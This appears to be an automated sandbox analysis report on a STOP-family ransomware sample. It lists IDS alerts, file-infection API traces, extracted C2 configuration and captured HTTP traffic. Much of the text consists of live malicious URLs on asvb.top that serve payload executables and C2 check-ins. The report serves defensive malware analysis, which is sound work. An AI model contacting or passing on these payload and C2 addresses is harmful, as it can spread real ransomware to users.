Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\vq0 source: f6ffg1sZS2.exe, 00000002.00000003.2373254393.0000000003CBF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2041030391.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039197748.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040028276.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039153899.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039505070.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039457527.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040205371.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2041179979.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039017429.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_00790160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	0_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	0_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_0078FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	0_2_0078FB98
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_0078F730
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_00790160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	2_2_00790160
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_0078FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	2_2_0078FB98
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F70160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	3_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F6FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	3_2_00F6FB98
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F70160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00F70160
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00F6F730
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F6FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_00F6FB98

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2036334 - Severity 1 - ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key : 192.168.2.4:49737 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.4:49754 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49739 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49739 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49733 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49733 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.4:49743 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49736 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49736 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.4:49753 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.4:49735 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49753 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49753 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.4:49749 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49749 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49749 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2833438 - Severity 1 - ETPRO MALWARE STOP Ransomware CnC Activity : 192.168.2.4:49752 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.4:49751 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2020826 - Severity 1 - ET MALWARE Potential Dridex.Maldoc Minimal Executable Request : 192.168.2.4:49751 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2036333 - Severity 1 - ET MALWARE Win32/Vodkagats Loader Requesting Payload : 192.168.2.4:49751 -> 92.246.89.93:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://asvb.top/nddddhsspen6/get.php

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 92.246.89.93 92.246.89.93

Source: Joe Sandbox View

ASN Name: LIVECOMM-ASRespublikanskayastr3k6RU LIVECOMM-ASRespublikanskayastr3k6RU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49734 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49754 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49743 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49736 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49753 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49750 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49752 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49749 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49751 -> 92.246.89.93:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49738 -> 188.114.96.3:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_0078CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_0078CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /files/penelop/updatewin1.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /files/penelop/updatewin2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /files/penelop/updatewin.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /files/penelop/3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /files/penelop/4.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /files/penelop/5.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top
Source: global traffic	HTTP traffic detected: GET /nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: asvb.top

Source: f6ffg1sZS2.exe, 00000002.00000003.1994570006.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: f6ffg1sZS2.exe, 00000002.00000003.1994818727.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: f6ffg1sZS2.exe, 00000002.00000003.1994919310.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: asvb.top

Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/3.exe
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/3.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/3.exek
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/3.exerunxt
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/4.exe
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/4.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/4.exea
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/4.exerun980st
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exe
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2050336258.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exe$runtran
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exei
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exeles/penelop/5.exe
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/5.exerun980
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin.exe
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin.exe$
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin.exerunjt
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin1.exe
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin1.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin2.exe
Source: f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin2.exe$run
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/files/penelop/updatewin2.exeJ
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2023448656.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.0000000000953000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/nddddhsspen6/get.php
Source: f6ffg1sZS2.exe, 00000002.00000003.2023448656.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2050336258.000000000146A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000002.2407476304.0000000001450000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2069430903.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637P
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.000000000090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637Q
Source: f6ffg1sZS2.exe	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: f6ffg1sZS2.exe, 00000002.00000003.1994472254.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994620034.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994667477.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994717464.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: f6ffg1sZS2.exe	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: f6ffg1sZS2.exe, 00000002.00000003.1994765702.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994818727.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994867865.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: f6ffg1sZS2.exe, 00000002.00000003.1994919310.000000000A390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.0000000000953000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/$z
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.000000000140C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/G
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/Nsyn
Source: f6ffg1sZS2.exe	String found in binary or memory: https://api.2ip.ua/geo.json
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-Agent:
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001558000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json.
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json:0
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json:axz
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json?
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonB
Source: f6ffg1sZS2.exe, 00000002.00000002.2407476304.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonE
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonJ
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonK
Source: f6ffg1sZS2.exe, 00000003.00000002.2942665032.0000000000953000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsond
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonjDk
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.0000000001519000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonr
Source: f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000004.00000002.1837871390.0000000000C92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsons
Source: f6ffg1sZS2.exe, 00000008.00000002.1925337254.00000000015AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonu
